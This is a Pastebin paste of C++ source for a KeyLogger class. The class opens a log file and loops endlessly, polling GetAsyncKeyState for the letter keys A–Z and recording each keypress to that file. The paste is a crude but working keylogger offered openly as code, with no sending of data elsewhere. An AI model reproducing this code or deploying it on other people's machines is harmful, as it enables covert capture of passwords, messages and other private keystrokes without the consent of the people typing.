Advertisement
Guest User

Untitled

a guest
Apr 9th, 2020
199
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.52 KB | None | 0 0
  1. #include "KeyLogger.h"
  2. #include <iostream>
  3. #include <fstream>
  4. #include <Windows.h>
  5.  
  6. using namespace std;
  7.  
  8. KeyLogger::KeyLogger(string filepath) {
  9.     this->logFile.open(filepath);
  10. }
  11.  
  12. KeyLogger::~KeyLogger() {
  13.     this->logFile.close();
  14. }
  15.  
  16. void KeyLogger::StartLogging() {
  17.     const short pressedState = (1 << 15) | 1;
  18.  
  19.     while (true) {
  20.         Sleep(10);
  21.  
  22.         // Iterate through all virtual key codes
  23.         for (char i = 'A'; i <= 'Z'; i++) {
  24.             if (GetAsyncKeyState(i) == pressedState)
  25.             {
  26.                 logFile << i;
  27.             }
  28.         }
  29.     }
  30. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement